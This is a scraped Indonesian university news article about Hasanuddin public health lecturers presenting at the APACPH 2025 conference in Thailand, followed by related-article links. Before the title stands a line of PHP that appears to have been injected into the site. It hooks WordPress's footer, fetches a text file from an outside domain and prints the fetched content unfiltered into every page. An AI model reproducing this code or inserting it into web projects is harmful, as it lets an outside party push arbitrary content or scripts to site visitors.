function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Dosen FKM Unhas Berpartisipasi dalam Konferensi Internasional APACPH 2025 di Thailand: Wujud Capaian IKU dan Kontribusi terhadap SDGs - Suluh Nusantara

Home / Uncategorized

Kamis, 6 November 2025 - 13:52 WIB

Dosen FKM Unhas Berpartisipasi dalam Konferensi Internasional APACPH 2025 di Thailand: Wujud Capaian IKU dan Kontribusi terhadap SDGs

The 56th Asia Pacific Academic Consortium for Public Health (APACPH) Conference 2025 yang diselenggarakan di Mae Fah Luang University, Chiang Rai, Thailand

The 56th Asia Pacific Academic Consortium for Public Health (APACPH) Conference 2025 yang diselenggarakan di Mae Fah Luang University, Chiang Rai, Thailand

Chiang Rai, Thailand — November 2025
Sebanyak 23 dosen Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) berpartisipasi aktif dalam The 56th Asia-Pacific Academic Consortium for Public Health (APACPH) Conference 2025 yang diselenggarakan di Mae Fah Luang University, Chiang Rai, Thailand, pada 4–7 November 2025. Konferensi internasional bergengsi ini mengusung tema ‘Public Health Transformation: Resilience, Innovation, and Equity‘, yang menjadi wadah kolaborasi dan pertukaran ilmu pengetahuan antar akademisi, peneliti, dan praktisi kesehatan masyarakat dari berbagai negara di kawasan Asia Pasifik.

Dalam kegiatan tersebut, para dosen FKM Unhas mempresentasikan karya ilmiah terbaiknya melalui sesi oral presentation dan poster presentation. Tema penelitian yang diangkat sangat beragam, mencakup isu-isu strategis seperti kesehatan lingkungan, keselamatan dan kesehatan kerja (K3), epidemiologi, manajemen kebencanaan, kesehatan masyarakat pesisir, hingga kebijakan dan sistem kesehatan. Beberapa karya ilmiah merupakan hasil kolaborasi lintas institusi, baik nasional maupun internasional, yang menyoroti topik-topik global seperti climate change adaptation, occupational safety among fishermen, dan community resilience during disasters.

Dekan FKM Unhas, Prof. Sukri Palutturi, SKM., M.Sc.PH., Ph.D., menyampaikan bahwa keikutsertaan dosen dalam APACPH 2025 merupakan bagian dari strategi universitas dalam memperkuat daya saing global dan memperluas jejaring akademik internasional. “Partisipasi dosen FKM Unhas di konferensi internasional APACPH ini menjadi wujud nyata komitmen kami dalam mendukung pencapaian Indikator Kinerja Utama (IKU) Universitas Hasanuddin, khususnya dalam aspek internasionalisasi, reputasi akademik global, serta kolaborasi riset lintas negara,” ujar Prof. Sukri.

Baca Juga  Cegah Stunting, Selamatkan Generasi: Pembagian Buku Saku Cegah Stunting Oleh Posko 25 PBL 2 FKM Unhas untuk Ibu Hamil dan Ibu Baduta di Desa Borongtala, Kabupaten Jeneponto

Kegiatan ini juga selaras dengan semangat Unhas menuju perguruan tinggi berkelas dunia (world-class university) yang aktif berkontribusi terhadap Sustainable Development Goals (SDGs),” tambahnya. Lebih lanjut, partisipasi para dosen FKM Unhas dalam konferensi internasional ini mendapat dukungan penuh dari Universitas Hasanuddin dan Fakultas Kesehatan Masyarakat Unhas, sebagai bagian dari komitmen institusi dalam memperkuat kapasitas sivitas akademika untuk tampil di panggung global. Dukungan ini mencakup fasilitasi akademik, administrasi, dan pendanaan untuk memastikan partisipasi dosen dalam forum internasional berjalan optimal dan berdampak nyata.

Baca Juga  Mahasiswa Posko 12 PBL II FKM Unhas Gelar Penyuluhan Pentingnya Imunisasi untuk Mencegah Penyakit dan Stunting

Kontribusi dosen FKM Unhas dalam APACPH 2025 juga mendukung implementasi SDG 3 (Kehidupan Sehat dan Sejahtera), SDG 4 (Pendidikan Berkualitas), dan SDG 17 (Kemitraan untuk Mencapai Tujuan). Melalui diseminasi hasil penelitian dan pembentukan kolaborasi internasional, para dosen FKM Unhas turut memperkuat komitmen global dalam membangun sistem kesehatan masyarakat yang tangguh, inklusif, dan berkelanjutan. Selain mempresentasikan hasil riset, beberapa dosen juga menjalin komunikasi dengan berbagai universitas anggota APACPH seperti Mahidol University (Thailand), Yonsei University (Korea Selatan), dan University of the Philippines untuk rencana joint publication, student exchange, dan collaborative research di bidang kesehatan masyarakat dan lingkungan. Partisipasi ini menegaskan posisi FKM Unhas sebagai salah satu fakultas kesehatan masyarakat terkemuka di Indonesia yang aktif berkontribusi dalam pengembangan ilmu dan kebijakan kesehatan global.

Share :

Baca Juga

Uncategorized

CEGAH STUNTING, POSKO 14 PBL 2 FKM UNHAS GELAR EDUKASI BAHAYA ASAP ROKOK DI DESA TOMBO-TOMBOLO

Uncategorized

Edukasi dan Pemberian Buku Saku “Remaja Sehat Bebas Anemia dan KEK” Pada Siswi Madrasah Aliyah Allu

Uncategorized

Departemen Kesling FKM Unhas Adakan Pelatihan Sanitasi Lingkungan Pasar untuk Pengendalian Vektor DBD di Kota Makassar

Uncategorized

Efektifkan Perilaku Hidup Sehat, Ibu Baduta di Tonrokassi Timur Dibekali Edukasi 6 Langkah Cuci Tangan Pakai Sabun

Uncategorized

Kuliah Tamu Departemen Ilmu Gizi FKM UNHAS melalui ICONS menghadirkan Chief of Nutrition, UNICEF: Pentingnya Aksi Nyata Lawan Malnutrisi

Uncategorized

FKM Unhas Gelar Rapat Persiapan Program Kampus Sehat Tahun 2025 sebagai Wujud Nyata Kontribusi Terhadap Tujuan Pembangunan Berkelanjutan

Uncategorized

Games Edukasi: Cara Kreatif Mahasiswa Posko 4 PBL II FKM Unhas Tingkatkan Kesadaran Stunting pada Siswa SMPN 1 dan SMPN 8 Bangkala Barat

Uncategorized

Posko 14 PBL FKM Unhas Ajak Rematri Desa Tombo-Tombolo Rutin Konsumsi Tablet Tambah Darah untuk Cegah Stunting Sejak Dini